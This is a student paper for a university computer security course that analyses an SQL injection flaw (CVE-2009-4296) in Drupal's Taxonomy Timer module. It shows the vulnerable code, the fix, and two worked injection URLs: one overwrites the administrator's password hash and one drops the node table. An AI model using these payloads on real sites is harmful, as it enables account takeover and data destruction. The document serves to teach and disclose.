University of Tartu
Faculty of Mathematics and Computer Science
Institute of Computer Science

Ilja Kuzovkin

SQL injection vulnerability in CMS Drupal (CVE-2009-4296)

Paper for the "Computer Security" course

Supervisor: Meelis Roos

Tartu 2011

Contents

1 Introduction

Content Management System (CMS) Drupal[1] in widely-used system for creating web sites and web based info-systems. For example our www.cs.ut.ee in built on it. Drupal is an open source project, which consists of the core, which is mainly developed and maintained by Drupal Team and the modules, which are being developed by everyone willing to do it. Such democratic approach gives a high change of security vulnerabilities, especially in third-party modules. And because Drupal becomes more and more popular those risks become more and more serious. Enough to say that www.whitehouse.gov is running on the Drupal[2].

2 Context

The vulnerability I want to talk about was found in the Taxonomy Timer[3] module. Affected is every version before 5.x-1.9 and 6.x-1.0-rc1. Taxonomy in the Drupal is the system for arranging site content into categories. Taxonomies are set of terms, which represent categories and can be in parent-child relations with each other. Taxonomy Timer enables the user to set expiration dates to the terms, which allows to publish or unpublish content entries according to the date or reassign which nodes are included in the category on the specific date.

3 Vulnerability

In Drupal each user has a role, unregistered user has an "Anonymous" role by default. Access rights are distributed according to the roles. The user with the right to edit Taxonomy Timer settings (this can be also unauthenticated user if site administrator assigned corresponding permission to the "Anonymous" role) can make an SQL injection attack. Most likely such kind of rights can be passed to the website moderator or content manager. SQL injection is widely known type of security breach, it allows the adversary to execute custom SQL code with the SQL rights of the same level as the website itself. The main reason of such a vulnerability is insufficient user input or function parameters validation.
In our case there exists a function

```
function _remove_tt_default() {
    // get the details for what we're deleteing.
    $statement = "SELECT * FROM {taxonomy_timer_defaults} WHERE ttid= " . arg(3);
    $sth = db_query( $statement );
    <...>
}
```

arg(n) function in the Drupal allows php code to read custom part of the address string. For example if we request the page
www.example.com/article/1234/delete
then
arg(0) == 'article'
arg(1) == '1234'
arg(2) == 'delete'
In the code above we can see than *arg(3)* is being passed into the SQL query and executed without any validation.

4 Attack

If we look in the module's code we will find out that function *_remove_tt_default()* can be called through HTTP request on *www.example.com/admin/taxonomy_timer/delete/SOMETHING*, where *SOMETHING* is the data being read by the *arg(3)* function.

4.1 Example attack: Change administrator's password

In the Drupal passwords are held in the table *users* hashed by md5 algorithm. We can compute md5 of word *hello*.

```
md5('hello') = '5d41402abc4b2a76b9719d911017c592'
```

and inject UPDATE SQL query

```
www.example.com/admin/taxonomy_timer/delete/1; UPDATE users SET pass =
'5d41402abc4b2a76b9719d911017c592' WHERE uid = 1;
```

which will produce the following query to be executed

```
SELECT * FROM {taxonomy_timer_defaults} WHERE ttid=1;
UPDATE users SET pass = '5d41402abc4b2a76b9719d911017c592' WHERE uid = 1;
```

User with the *uid == 1* is the administrator user in the Drupal. Typically it's username is *admin* (If it is not, we can change it in the same way as we changed the password). Now we can log into the system as *admin:hello* with administrator's rights.

4.2 Example attack: Drop a table

HTTP request

```
www.example.com/admin/taxonomy_timer/delete/1; DROP TABLE node;
```

executed query will be

```
SELECT * FROM {taxonomy_timer_defaults} WHERE ttid=1; DROP TABLE node;
```

and one of the most important Drupal tables, the *node* table will be dropped.

5 Solution

The solution is quiet easy. We just have to check that *arg(3)* is in the format it meant to be. Here is how it is done in original fix in the version 5.x-1.9 of the Taxonomy Timer module

```
function _remove_tt_default() {
    // get the details for what we're deleteing.
    // protect against sql injection here.... only proceed if the URL arg is
    // actually a number
    $ttid = arg(3);
    if ( is_numeric( $ttid ) ) {
        $statement = 'SELECT * FROM {taxonomy_timer_defaults} WHERE ttid= %d';
        $sth = db_query( $statement, $ttid );
        <...>
    }
    <...>
}
```

Indeed, now we can not pass anything but number into the SQL query.

References

[1] http://www.drupal.org

[2] http://drupal.org/whitehouse-gov-launches-on-drupal-engages-community

[3] http://drupal.org/project/taxonomy_timer